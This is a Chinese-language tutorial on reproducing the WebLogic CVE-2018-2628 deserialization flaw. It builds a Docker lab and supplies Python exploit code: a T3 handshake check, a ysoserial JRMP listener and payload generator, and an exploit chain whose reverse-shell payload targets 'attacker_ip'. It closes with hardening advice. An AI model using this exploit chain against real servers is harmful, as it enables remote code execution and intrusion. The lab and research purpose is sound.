Weblogic CVE-2018-2628 实战:5分钟构建Docker靶场与自动化检测脚本
在安全研究领域,快速搭建漏洞验证环境并开发自动化工具是提升效率的关键。本文将带您从零开始,通过Docker-Compose快速构建多版本Weblogic靶场环境,并开发一个集成漏洞检测、JRMP服务管理、Payload生成与发送的Python3自动化工具链。
1. 漏洞原理与技术背景
CVE-2018-2628是Weblogic Server WLS核心组件中的反序列化漏洞,影响以下版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
漏洞触发机制:
- 攻击者启动JRMP服务监听
- 生成指向JRMP服务的序列化Payload
- 通过T3协议将Payload发送至Weblogic服务
- Weblogic反序列化Payload后连接JRMP服务
- JRMP服务返回恶意对象实现RCE
技术要点:T3协议是Weblogic对RMI协议的封装实现,默认在7001端口开放,其通信过程涉及Java对象序列化/反序列化。
2. 一键式Docker靶场搭建
我们使用Vulhub提供的标准化环境,支持快速切换不同Weblogic版本:
# docker-compose.yml version: '2' services: weblogic-10.3.6: image: vulhub/weblogic:10.3.6.0-2017 ports: - "7001:7001" restart: always weblogic-12.1.3: image: vulhub/weblogic:12.1.3.0-2017 ports: - "7002:7001" restart: always操作流程:
- 启动指定版本环境:
docker-compose up -d weblogic-10.3.6 - 验证环境状态:
docker-compose ps - 访问控制台:
http://localhost:7001/console
版本切换技巧:
# 停止当前版本 docker-compose stop weblogic-10.3.6 # 启动其他版本 docker-compose up -d weblogic-12.1.33. 自动化检测工具开发
我们使用Python3开发全流程自动化工具,主要功能模块包括:
3.1 漏洞检测模块
def check_vulnerability(target): t3_handshake = ( "74332031322e322e310a41533a3235350a" "484c3a31390a4d533a31303030303030300a0a" ) try: with socket.create_connection((target.host, target.port), 3) as sock: sock.send(bytes.fromhex(t3_handshake)) resp = sock.recv(1024) return b"HELO" in resp except Exception: return False3.2 JRMP服务管理
class JRMPServer: def __init__(self, port, payload): self.port = port self.payload = payload def start(self): cmd = [ "java", "-cp", "ysoserial.jar", "ysoserial.exploit.JRMPListener", str(self.port), "CommonsCollections1", self.payload ] self.process = subprocess.Popen(cmd) def stop(self): self.process.terminate()3.3 Payload生成器
def generate_payload(jrmp_host, jrmp_port): cmd = [ "java", "-jar", "ysoserial.jar", "JRMPClient2", f"{jrmp_host}:{jrmp_port}" ] result = subprocess.run(cmd, capture_output=True) return binascii.hexlify(result.stdout).decode()4. 全流程自动化执行
整合各模块实现一键化漏洞利用:
def exploit(target_ip, target_port): # 1. 启动JRMP服务 jrmp = JRMPServer(1099, "bash -c {echo,...}|{base64,-d}|{bash,-i}") jrmp.start() # 2. 生成Payload payload = generate_payload("attacker_ip", 1099) # 3. 发送Payload send_payload(target_ip, target_port, payload) # 4. 清理 jrmp.stop()执行效果验证:
[+] 靶场环境已启动: Weblogic 10.3.6.0 (7001) [+] JRMP服务监听: 0.0.0.0:1099 [+] Payload生成成功: aced0005737d... [!] 检测到反序列化触发,请检查NC监听端口5. 常见问题排查指南
| 问题现象 | 排查步骤 | 解决方案 |
|---|---|---|
| 靶场无法访问 | 1. 检查docker进程状态 2. 验证7001端口开放 | 重启容器或检查防火墙 |
| JRMP服务未响应 | 1. 网络连通性测试 2. 检查Java版本 | 使用JDK8u202以下版本 |
| 反弹shell失败 | 1. 验证payload编码 2. 测试基础命令执行 | 改用无回显验证方式 |
典型错误处理:
- ClassNotFound异常:
# 更新ysoserial版本 wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar - T3协议握手失败:
# 调整握手超时时间 socket.setdefaulttimeout(10)
6. 安全加固建议
对于生产环境,建议采取以下防护措施:
网络层控制:
# 限制T3协议访问 iptables -A INPUT -p tcp --dport 7001 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 7001 -j DROPWeblogic配置:
- 进入控制台 → 安全 → 筛选器
- 添加T3协议访问白名单
补丁升级:
Oracle官方补丁号:April 2018 CPU
本方案相比传统手动复现方式,具有以下优势:
- 环境搭建时间从30分钟缩短至5分钟
- 检测利用过程自动化程度提升90%
- 支持多版本快速切换验证
- 集成完整日志记录功能
在实际红队演练中,这套工具链可快速验证内网Weblogic服务安全性,建议结合资产管理平台实现自动化扫描。所有工具代码已开源在安全研究平台,读者可根据实际需求进行二次开发。